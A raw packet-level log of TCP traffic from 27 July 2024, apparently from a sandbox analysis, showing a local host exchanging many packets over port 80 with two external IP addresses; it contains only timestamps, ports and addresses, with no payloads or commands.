Jul 27, 2024 05:39:11.310755968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310787916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310818911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310820103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310852051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310859919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310877085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310893059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310913086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310925961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310947895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310957909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310978889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310991049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311012983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311022997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311044931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311059952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311080933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311109066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311129093 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311162949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311187983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311193943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311213970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311228037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311247110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311263084 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311280012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311296940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311319113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311330080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311351061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311362028 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311383963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311393976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311414003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311427116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311448097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311459064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311486959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311492920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311516047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311526060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311544895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311559916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.311578035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.311610937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.332240105 CEST	80	49478	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:11.332429886 CEST	49478	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:11.383944035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.383991957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.384027004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.384059906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.384073019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.384093046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.384103060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.384130001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.384166956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.384167910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.384187937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.384196043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.384232998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.384253979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389069080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389101982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389136076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389142036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389172077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389188051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389195919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389221907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389246941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389254093 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389282942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389287949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389312983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389321089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389348030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389355898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389374018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389389038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389413118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389424086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389455080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389456987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389480114 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389487982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389508963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389528990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.389542103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.389588118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.392887115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.392920017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.392951965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.392966986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.392985106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.392997980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393023014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393049002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393053055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393081903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393115044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393116951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393137932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393146992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393171072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393179893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393196106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393229961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393238068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393265009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393291950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393296957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393321991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393332005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393352032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393363953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393384933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393397093 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393419981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393429995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393455982 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393465042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393491983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393500090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393515110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393548012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393553019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393596888 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393601894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393630981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393661976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393661976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393680096 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393712044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393713951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393744946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393774986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393775940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393795967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393809080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393836021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393842936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393873930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393874884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393896103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393907070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393917084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393939972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393961906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.393974066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.393997908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.394006968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.394031048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.394057035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.394067049 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.394090891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.394119024 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.394123077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.394141912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.394170046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.394200087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.394202948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.394217968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.394237041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.394262075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.394269943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.394295931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.394303083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.394324064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.394340038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.394361019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.394373894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.394407034 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.394423008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.399502993 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.399573088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.399661064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.399693012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.399722099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.399724007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.399755955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.399774075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.399774075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.399806976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.399816036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.399840117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.399868965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.399872065 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.399887085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.399904966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.399924040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.399940014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.399964094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.399971008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.399997950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400003910 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400033951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400037050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400068045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400072098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400089025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400121927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400130033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400156021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400185108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400187969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400204897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400221109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400242090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400281906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400281906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400337934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400338888 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400371075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400403976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400420904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400420904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400437117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400455952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400470972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400518894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400533915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400535107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400553942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400572062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400585890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400609016 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400635958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400641918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400669098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400701046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400705099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400718927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400737047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400759935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400769949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400798082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400820017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400831938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400852919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400873899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400892973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400907993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400926113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400952101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.400975943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.400979996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.401010036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.401035070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.401038885 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.401067019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.401071072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.401089907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.401104927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.401134968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.401153088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.401170015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.401185989 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.401210070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.401218891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.401241064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.401251078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.401274920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.401284933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.401309013 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.401318073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.401340008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.401350975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.401376963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.401386023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.401405096 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.401442051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.440601110 CEST	49478	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:11.441024065 CEST	49479	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:11.446712017 CEST	80	49479	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:11.446815968 CEST	49479	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:11.446995974 CEST	49479	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:11.447166920 CEST	80	49478	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:11.447247982 CEST	49478	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:11.451889992 CEST	80	49479	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:11.474087954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.474123955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.474155903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.474190950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.474205971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.474241018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.474241018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.474263906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.474273920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.474298954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.474308968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.474332094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.474364996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.479861021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.479895115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.479928970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.479933023 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.479967117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.480003119 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.480016947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.480050087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.480072975 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.480083942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.480113983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.480117083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.480149031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.480168104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.480178118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.480201006 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.480225086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.480232954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.480263948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.480264902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.480284929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.480298042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.480319977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.480330944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.480355978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.480365038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.480385065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.480422020 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484286070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484318972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484352112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484361887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484397888 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484416962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484472990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484522104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.484529972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.484555006 CEST	80	49477	85.28.47.31	192.168.2.4
